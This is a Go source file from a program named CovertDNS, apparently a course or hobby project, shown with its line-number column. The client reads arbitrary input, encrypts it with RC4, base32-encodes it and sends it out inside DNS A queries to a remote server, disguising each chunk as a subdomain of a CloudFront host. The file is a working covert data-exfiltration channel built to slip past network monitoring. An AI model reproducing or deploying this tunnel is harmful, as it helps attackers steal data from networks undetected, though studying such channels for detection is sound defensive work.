/
client.go
142 lines (102 loc) · 2.69 KB
/
client.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/* ----------------------------------------------------------------------------
SOURCE FILE
Name: client.go
Program: CovertDNS
Developer: Andrew Burian
Created On: 2015-09-24
Functions:
func client(src io.Reader, remote, secret string)
Description:
Contains client-side functions.
Revisions:
(none)
---------------------------------------------------------------------------- */
package main
import (
"github.com/miekg/dns"
"io"
"crypto/rc4"
"encoding/base32"
"strings"
)
/* ----------------------------------------------------------------------------
FUNCTION
Name: Client
Prototype: func client(src io.Reader, remote, secret string)
Developer: Andrew Burian
Created On: 2015-09-24
Parameters:
src io.Reader
the source of data to send from
remote string
the remote address of the DNS server
sectret string
the rc4 encryption key to encrypt with
Return Values:
(none)
Description:
Sends and data read from src to the remote, after being
encrypted with the secret and imbedded in DNS requests.
Revisions:
(none)
---------------------------------------------------------------------------- */
func client(src io.Reader, remote, secret string) {
// set up the new rc4 cipher
cipher, err := rc4.NewCipher([]byte(secret))
if err != nil {
panic(err)
}
// loop through all data to send
for {
// text buffer to store input
text := make([]byte, 32)
// read data from source
n, err := src.Read(text)
if n == 0 {
break
}
if err != nil && err != io.EOF {
panic(err)
}
// encrypt the data (dst, src)
cipher.XORKeyStream(text, text[:n])
// encode the data (dst, src)
encoded := base32.StdEncoding.EncodeToString(text[:n])
// trim the non-domain standard '='
encoded = strings.TrimRight(encoded, "=")
// padding will be re-added at the receiving end
// send it via dns request
dnssend(encoded, remote)
}
}
/* ----------------------------------------------------------------------------
FUNCTION
Name: DNSSend
Prototype: func dnssend(msg, remote string)
Developer: Andrew Burian
Created On: 2015-09-24
Parameters:
msg string
the message to send
remote string
the remote address of the DNS server
Return Values:
(none)
Description:
Handles the DNS sending of the encoded message
Revisions:
(none)
---------------------------------------------------------------------------- */
func dnssend(msg, remote string) {
// create a new dns query message
dnsMessage := new(dns.Msg)
// embedd message in url
msg += ".dl.cloudfront.com"
// set the question (auto creates a RR)
dnsMessage.SetQuestion(dns.Fqdn(msg), dns.TypeA)
// send and wait on response (syncronous)
_, err := dns.Exchange(dnsMessage, remote + ":53")
if err != nil {
panic(err)
}
}